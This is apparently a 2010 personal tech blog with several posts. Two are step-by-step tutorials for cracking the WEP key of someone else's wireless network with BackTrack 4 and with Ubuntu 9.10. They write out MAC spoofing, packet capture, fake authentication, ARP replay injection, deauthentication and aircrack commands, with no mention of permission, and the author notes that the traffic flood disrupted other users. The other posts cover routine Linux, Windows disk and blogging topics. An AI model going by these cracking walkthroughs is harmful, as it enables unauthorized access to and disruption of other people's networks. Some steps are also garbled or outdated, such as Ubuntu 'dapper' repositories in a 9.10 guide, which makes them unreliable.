Monday, April 26, 2010

How to crack a WEP encryption key using BACK TRACK 4 linux destro

Back Track 4 is a very cool linux based destro which is meant for penetration testing and wireless hacking.
It comes with hundreds of installed tools needed for wireless hacking.
To perform this hack you need a compatible wi-fi card which is capable of packet injection(it will speedup the process)

Crack That WEP

To crack WEP, you'll need to launch Konsole, BackTrack's built-in command line. It's right there on the taskbar in the lower left corner, second button to the right. Now, the commands.
First run the following to get a list of your network interfaces:
airmon-ng
The only one I've got there is labeled ra0. Yours may be different; take note of the label and write it down. From here on in, substitute it in everywhere a command includes (interface).
Now, run the following four commands. See the output that I got for them in the screenshot below.

airmon-ng stop (interface)
ifconfig (interface) down
macchanger --mac 00:11:22:33:44:55 (interface)
airmon-ng start (interface)

 f you don't get the same results from these commands as pictured here, most likely your network adapter won't work with this particular crack. If you do, you've successfully "faked" a new MAC address on your network interface, 00:11:22:33:44:55.

Now it's time to pick your network. Run:
airodump-ng (interface)
To see a list of wireless networks around you. When you see the one you want, hit Ctrl+C to stop the list. Highlight the row pertaining to the network of interest, and take note of two things: its BSSID and its channel (in the column labeled CH), as pictured below. Obviously the network you want to crack should have WEP encryption (in the ENC) column, not WPA or anything else.
 ike I said, hit Ctrl+C to stop this listing. (I had to do this once or twice to find the network I was looking for.) Once you've got it, highlight the BSSID and copy it to your clipboard for reuse in the upcoming commands.

Now we're going to watch what's going on with that network you chose and capture that information to a file. Run:
airodump-ng -c (channel) -w (file name) --bssid (bssid) (interface)
Where (channel) is your network's channel, and (bssid) is the BSSID you just copied to clipboard. You can use the Shift+Insert key combination to paste it into the command. Enter anything descriptive for (file name). I chose "yoyo," which is the network's name I'm cracking
You'll get output like what's in the window in the background pictured below. Leave that one be. Open a new Konsole window in the foreground, and enter this command:
aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (essid) (interface)
Here the ESSID is the access point's SSID name, which in my case is yoyo. What you want to get after this command is the reassuring "Association successful" message with that smiley face.

You're almost there. Now it's time for:
aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 (interface)
Here we're creating router traffic to capture more throughput faster to speed up our crack. After a few minutes, that front window will start going crazy with read/write packets. (Also, I was unable to surf the web with the yoyo network on a separate computer while this was going on.) Here's the part where you might have to grab yourself a cup of coffee or take a walk. Basically you want to wait until enough data has been collected to run your crack. Watch the number in the "#Data" column—you want it to go above 10,000. (Pictured below it's only at 854.)
Depending on the power of your network (mine is inexplicably low at -32 in that screenshot, even though the yoyo AP was in the same room as my adapter), this process could take some time. Wait until that #Data goes over 10k, though—because the crack won't work if it doesn't. In fact, you may need more than 10k, though that seems to be a working threshold for many.
Once you've collected enough data, it's the moment of truth. Launch a third Konsole window and run the following to crack that data you've collected:
aircrack-ng -b (bssid) (file name-01.cap)
Here the filename should be whatever you entered above for (file name). You can browse to your Home directory to see it; it's the one with .cap as the extension.
If you didn't get enough data, aircrack will fail and tell you to try again with more. 

Sunday, April 25, 2010

Ubuntu Linux Shell Commands quick reference

The following is a quick reference list of some useful Ubuntu shell commands along with a short description of common usage. There are more, but this basic list was created to help familiarize the newly introduced Ubuntu user who might be migrating from a Windows operating environment.

cd – change directory
usage: cd
clear – clear screen
cp - copy files (similar to copy in DOS)
cp < new location>
diff – compare files
diff
exit – exit or quit
find – find files
find -name
fsck – check disk integrity (similar to DOS scandisk)
ifconfig – view network settings (similar to DOS ipconfig)
less – view text files
less
lpr – print text files
lpr
man – get help
man
mkdir – create a directory
mkdir
mv – move or rename files
mv
ping – check a network connection
ping
rm – delete or remove a directory or file (similar to del in DOS)
rm -rf
rm
tracepath – view a network route
tracepath
vi – edit text files
vi

How to install GRUB2 bootloader in USB drive from ubuntu 9.10?

This Grub2 USB Flash Drive Install tutorial assumes you will be running from an Ubuntu 9.10 Live CD to create your Grub2 enabled Flash Drive. If this is not the case, it will not work as is.

Grub2 USB Install From Ubuntu 9.10 Live CD Essentials:
  • Ubuntu 9.10 Live CD
  • A PC that can boot from USB/CD
  • 1GB or larger USB Flash Drive
  • No Fear of the Terminal 
          
Grub2 USB Flash Drive Install using the Ubuntu Live CD:
  1. Boot from your Live Ubuntu 9.10 Linux CD
  2. Once booted, insert your USB Flash Drive
  3. Open a terminal and type sudo su
  4. Type  fdisk -l (and note which device is your USB)
  5. Type mkdir /mnt/USB && mount /dev/sdx1 /mnt/USB (replacing x with your actual usb device)
  6. Type grub-install –no-floppy –root-directory=/mnt/USB /dev/sdx (replacing  x with your actual USB device)
  7. Type cd /mnt/USB/boot/grub
  8. Type wget http://pendrivelinux.com/downloads/grub.cfg
  9. Type df (and locate where cdrom is mounted I.E./dev/sr0)
  10. Type dd if=/dev/sr0 of=/mnt/USB/ubuntu-9.10-desktop-i386.iso (replacing sr0 with the device found in step 9)
  11. Remove your Live CD and reboot your PC, setting your BIOS or Boot Menu to boot from the USB device.
If all goes well, you should now be booting into your Grub2 prepared USB Flash Drive, with a Grub2 Boot Menu option to Boot from your Ubuntu 9.10 ISO.

Friday, April 23, 2010

How to restore a usb pendrive to its original state?

After having tooled around with a USB Linux version using your image overwritten or multi partitioned flash PenDrive, you might find it necessary to revert it back to a single fat partition (restore the flash pen drive to it's original state) that can again be read by all computer. Windows users can follow the Windows instructions below to Restore a Flash Drive using the HP USB Format tool SP27608 offered by Hewlett Packard (HP). For those working from Linux this task can easily be accomplished via the Linux Flash Drive Restoration tutorial that follows.

The HP USB Disk Storage Format Tool is a product of HP. The tool has worked on the USB drives I have available to me. However, as usual I can't guarantee it will work on your USB DEVICES.

Restoring your USB key to it's original state using Linux:
A. First we need to delete the old partitions that remain on the USB key.
  1. Open a terminal and type sudo su
  2. Type fdisk -l and note your USB drive letter.
  3. Type fdisk /dev/sdx (replacing x with your drive letter)
  4. Type d to proceed to delete a partition
  5. Type 1 to select the 1st partition and press enter
  6. Type d to proceed to delete another partition (fdisk should automatically select the second partition)
B. Next we need to create the new partition.
  1. Type n to make a new partition
  2. Type p to make this partition primary and press enter
  3. Type 1 to make this the first partition and then press enter
  4. Press enter to accept the default first cylinder
  5. Press enter again to accept the default last cylinder
  6. Type w to write the new partition information to the USB key
  7. Type umount /dev/sdx (replacing x with your drive letter)
C. The last step is to create the fat filesystem.
  1. Type mkfs.vfat -F 16 /dev/sdx1 (replacing x with your USB key drive letter)
That's it, you should now have a restored USB key with a single fat 16 partition that can be read from any computer.

Saturday, April 10, 2010

Flash vs. Silverlight:: which one is better?

Today for any Web 2.0 standard web application client side scripting is very important.Now the web application development has got several changes.Today developer wants to write code quickly and with ease.To fulfill this requirement tends to develop Integrated Development Environment to write code easily and IDEs also provide several functionality.

If we compare Flash and Silverlight on the basis of there performance, ease to develop applications,Compatibilities with different platforms,Online support. Then we  can easily compare both of them.

  1. Performance:-     Today Flash plugins can be found for any OS and web browser.These plugins are of about 1 to 2 MB for windows , Mac and Linux. These Flash applications works well on all of these platforms.Adobe software engineers worked well on this technology. This is the reason that Adobe has been on top for more than 10 years.Sometimes it is noticed that sometimes it makes a website heavy.On the other hand if we talk about Microsoft Silerlight then we find that it also provide an interactive feel for any application also loads faster than Adobe Flash.But still Microsoft Silverlight sdk4 is a new technology. These days not every computer has got silverlight plugin to play silverlight application. And size of silverlight runtime environment is about 4 Mb for windows , for Mac it is about 8 Mb. In Linux there is a substitute for silverlight named Moonlight. But this size does not matter too much.
  2. Ease to develop applications:-   Ease of application development is a big matter of concern. Adobe Flash is an open source technology.Adobe has given it a new dimension by introducing Adobe Flex and Adobe AIR. But it is well known that Microsoft has been the best in the development of application development tools.Microsoft visual Studio has been the best developer tool and it provides support for silverlight development. Microsoft provides a huge amount of support and help for its tools.Hence its make easy to develop silverlight applications.
Online Support:-  Microsoft provide huge amount of  online help and tutorials which makes it easy to learn application development. Adobe Flex mainly works on action script and silverlight support .net languages like c#. C# has got several capabilities to work .Hence application development is more flexible on silverlight sdk.
   
                                 In this way we see that Microsoft silverlight is much more superior than Adobe Flash.

Wednesday, April 7, 2010

How to convert dynamic disk into basic type?



Dynamic disk is always a disaster for most of the windows users.A dynamic disk stores all files and manages it in  a different manner. So it is always recommended that your disk type should be basic.

Dynamic disk  uses a totally different way of storing and retrievng files.Hence dynamic disk can always create a problem for newbies.

HOW TO KNOW YOUR DISK TYPE:-

  1.  open command promt and type "diskpart"(command promt must be opened with administrative rights)
  2. then type "list disk"
  3. a screen is opened like this
 In this image 'Dyn' is set blank which mean that this disk is of basic type
 


To change a dynamic disk into a basic one just follow these commands;
  1. diskpart
  2. list disk
  3. select disk 0 (according to your disk no.) 
  4. clean
  5. create partition   primary
  6. select partition 1
  7. active
  8. set basic
And the last step your disk will be changed into basic type. 

Saturday, April 3, 2010

How to hack wireless WEP key encyption using ubuntu 9.10

Wireless WEP key encryption has many loopholes which can be cracked using some basics of networking. In this tutorial i am going ho tell how to crack a wep key encryption. I am using Ubuntu 9.10 which is very cool and flexible destro of Linux.

Next, install the extra repositories and all the programs that Ubuntu doesn’t preinstall. Make sure your machine is able to establish a connection to the Internet. If you can only connect via wireless and are having problems, there is a package called Wi-Fi radar that is helpful. To install the extra repositories, open a terminal window and type the following:

sudo cp /etc/apt/sources.list /etc/apt/sources.list_backup
sudo gedit /etc/apt/sources.list

While in the editor, replace everything with:

## Add comments (##) in front of any line to remove it from being checked.
## Use the following sources.list at your own risk.
deb http://archive.ubuntu.com/ubuntu dapper main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu dapper main restricted universe multiverse

## MAJOR BUG FIX UPDATES produced after the final release
deb http://archive.ubuntu.com/ubuntu dapper-updates main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu dapper-updates main restricted universe multiverse

## UBUNTU SECURITY UPDATES
deb http://security.ubuntu.com/ubuntu dapper-security main restricted universe multiverse
deb-src http://security.ubuntu.com/ubuntu dapper-security main restricted universe multiverse

## BACKPORTS REPOSITORY (Unsupported. May contain illegal packages. Use at own risk.)
deb http://archive.ubuntu.com/ubuntu dapper-backports main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu dapper-backports main restricted universe multiverse

## PLF REPOSITORY (Unsupported. May contain illegal packages. Use at own risk.)
deb http://packages.freecontrib.org/ubuntu/plf dapper free non-free
deb-src http://packages.freecontrib.org/ubuntu/plf dapper free non-free

Save the file and exit the text editor. Next type the command:

sudo apt-get update

Now we have to install the packages we’ll need later on:

sudo apt-get install build-essential
sudo apt-get install aircrack
sudo apt-get install kismet
sudo apt-get install airsnort
sudo apt-get install linux-source
sudo apt-get install linux-headers
sudo apt-get install sharutils

Next, you should update your entire system by going to the System Menu>Administration>Update Manager. Click ‘Check’ and begin installing updates. Then reboot your system. After this is done, it’s time to patch the Madwifi drivers.

This is where everything can be tricky. My wireless card (Linksys WPC55AG) uses the Atheros driver, which I needed to patch. If you have a different driver, you’re going to need to find out whether or not you need to patch your drivers, or if they’ll even work with the Aircrack suite. The forums at aircrack-ng.org are a good place to look and so is a Google search. If you have an Atheros card, it will be called ath0 when you type iwconfig in the terminal window, or there will be a line that says Ethernet controller: Atheros Communications… when you type lspci in the terminal.

Let’s apply the madwifi patch which you’ll need if you’re using the Atheros driver. This will temporarily disable your wireless card when it deletes the old drivers of the disk. First we’re going to navigate to the /usr/src directory, download the new drivers, delete the old drivers, then install the new ones and apply the patch. You can just copy and paste the commands below into the terminal or type them yourself. So. first, let’s get the patch and then get the corresponding version of the driver

sudo -i

cd /usr/src

get http://patches.aircrack-ng.org/madwifi-ng-r1679.patch

wget http://snapshots.madwifi.org/madwifi-ng/madwifi-ng-r1679-20060707.tar.gz

ifconfig ath0 down
rmmod ath_rate_sample wlan_wep ath_rate_onoe ath_pci wlan ath_hal
find /lib/modules -name ‘ath*’ -exec rm -v {} \;
find /lib/modules -name ‘wlan*’ -exec rm -v {} \;

# tar zxvf madwifi-ng-r1679-20060707.tar.gz
# cd madwifi-ng-r1679-20060707/
# patch -Np1 -i ../madwifi-ng-r1679.patch
# make
# make install
# mod_probe ath_pci

NOTE: Some people have been having problems with the modprobe command. A comment below contains a fix in some cases:

However, during Madwifi Installation I got this warning:

Warning: could not find /usr/src/madwifi/ath_hal/.hal.o.cmd for /usr/src/madwifi/ath_hal/hal.o

This warning can be IGNORED.

When I ran “modprobe ath_pci” it gave me an error message and “dmesg” gave me some gibberish about “disagrees about version of symbol”.

I browsed the web and found the solution: You have to delete the linux-restricted modules. Just search for “linux-restricted” in Synaptic. I removed everything but “linux-restricted-modules-common”. Then I compiled the madwifi again and ran “modeprobe ath_pci” again. NO ERROR this time! Authenticating and injecting works!

Apparently some network cards with atheros chipset cause problems if you don’t remove the linux-restricdet-modules.

If you are using the Atheros driver, next we need to configure kismet to use the right source. If you are using another driver you’ll have to look up what syntax you use. First navigate to the Kismet config, then change the source line.

sudo gedit /etc/kismet/kismet.conf

Change the line that begins with ’source=’ to ’source=madwifi_ag,ath0,madwifi’. Now reboot the computer. After it boots back up you should be able to access the internet again via your wireless card.

Now we can begin cracking. Open up a terminal window, enter monitor mode, and run kismet.

sudo airmon start ath0
sudo kismet

Locate the wireless network you want to crack, and note its ESSID and channel. Then exit by pressing Ctrl-C.

Next, run airodump.

sudo airodump ath0 filename channel# 1

The one at the end lets Airodump know we only want to capture IV’s. The filename can be anything you want, and will be saved in your home directory (or whatever directory you run the command from) as filename.ivs.

Copy the bssid of the wireless network from the airodump window by selecting it and pressing Shift+Ctrl+C. Open up a new terminal window so we can run aireplay to start injecting packets so our data count goes up. We want the data column in airodump to reach between 100,000 and 400,000. The more packets we have, the faster aircrack can find the WEP key. If the WEP key is 128 bits, we may need up to 1,000,000 packets.

sudo aireplay -1 0 -e ESSID -a BSSID -h 0:1:2:3:4:5 ath0

This should associate the network with the wireless connection. If it times out repeatedly, you need to be closer to the wireless router or change your interface rate by typing ’sudo iwconfig ath0 rate 1M’.

Next we want to start injecting packets.

sudo aireplay -3 -b BSSID -h 0:1:2:3:4:5 ath0

At first, it will only read packets, and say 0 ARP requests and 0 packets sent. Just wait a minute or two and it will start sending packets in large quantities. If it returns text that says it has been deauthorized, press Ctrl+C and run the command again. You can try to speed things up by entering this command:

sudo aireplay -0 ath0 -a BSSID ath0

Otherwise just sit back and wait. As soon as packets begin to be sent, the data field in Airodump should start flying. Wait until the desired number of packets have been recieved, then open a new terminal window and run aircrack.

sudo aircrack filename.ivs

After a minute, aircrack should return the WEP key. If it doesn’t, collect more packets.

What are the Meta Tags?

Meta Tags are the html tag which tell the search engine to locate your web page in the search results.

What are meta tags?

The Meta tag in html is not a required tag when you're creating your web pages; many pages don't use the tag at all, and I must confess that I've not used it on my home page, although I put it into this page by way of demonstration. To put it briefly, the meta tag is used by search engines to allow them to more accurately list your site in their indexes. Sometimes.
If you simply produce your home page and register the URL with a search engine, or a number of search engines, their spider programmes will (eventually) toddle along to your site to index it. Now, each of the search engines does this slightly differently. Altavista for example will grab everything in your document and index it, but will only show the first 250 characters in its description. Consequently, if your site included say, 'Thanks to:....' right at the beginning, this is what Altavista would show in its description, and it wouldn't give the viewer any idea of what your site actually covered. Of course, not all search engines work this way; I'd suggest you ferret around a little bit to see exactly how the popular engines work, and certainly the major two or three such as Altavista, Lycos, Yahoo, Infoseek and Excite. It therefore makes sense to ensure that your opening paragraph is carefully written to ensure it accurately reflects what your site covers.
However, you may be able to exert a certain amount of control over how your site is indexed by the use of the meta tag. (I should however point out that not all search engines will use this tag - Altavista does, but Excite doesn't, for example. Its not a total cure-all therefore, but you won't miss out by putting the tag in, and it may well work well in some cases.

What does a meta tag look like?

You should insert the meta tag element at the top of your document, just after the element. It follows the usual form of tags, ie

but note that you don't have to have a at the end of the tag, the way that you do with something like bold . However, make sure that each tag does not include any line breaks, since some search engines get a little bit tetchy about this.


Meta tag generator :-

Yes, there are a few of these things about. One that I've been told of is at http://www.hisoftware.com/taggen.htm. I've not tried it out myself, but it looks interesting. I'm currently downloading a trial version, to see what its like. I'll let you know.
http://www.ukoln.ac.uk/metadata/dcdot/ This site will automatically try and generate meta tags based on the Dublin core for you. Seems to work well, though its a little enthusiastic about the number of keywords it generates!

Thursday, April 1, 2010

How to monitor your blogg's performance?

Every blogger want to have a good GOOGLE PAGE RANK and a good TRAFFIC for his blog To achieve this target one should be able to monitor his blog's performance. Monitoring your blog's performance is a good idea and it can be done by several ways.

  1. USING GOOGLE WEBMASTER TOOLS:-     Google WebMaster Tools is a nicw way to monitor performance of your  blog. In Google  Webmaster tool we can use 'site configuration', 'Diagnostics' ,'lab' in  these categories you can monitor your site performance.
  2. ANALYSING YOUR BLOG'S SEO SCORE:- You can analyse your blog's SEO score. For ex- go to http://www.promojunkie.com/seo-score/  you can also analyse how relevant your domain is.
  3. ANALYSE LOADING SPEED OF YOUR WEB PAGES:-  You can use firebug  addon in firefox to check the performance of your web pages.
  4. KEEP TRACK ON GOOGLE PAGE RANK and ALEXA PAGE RANK:-  You can simply download a toolbar for your web browser for keeping track on your blog's page rank.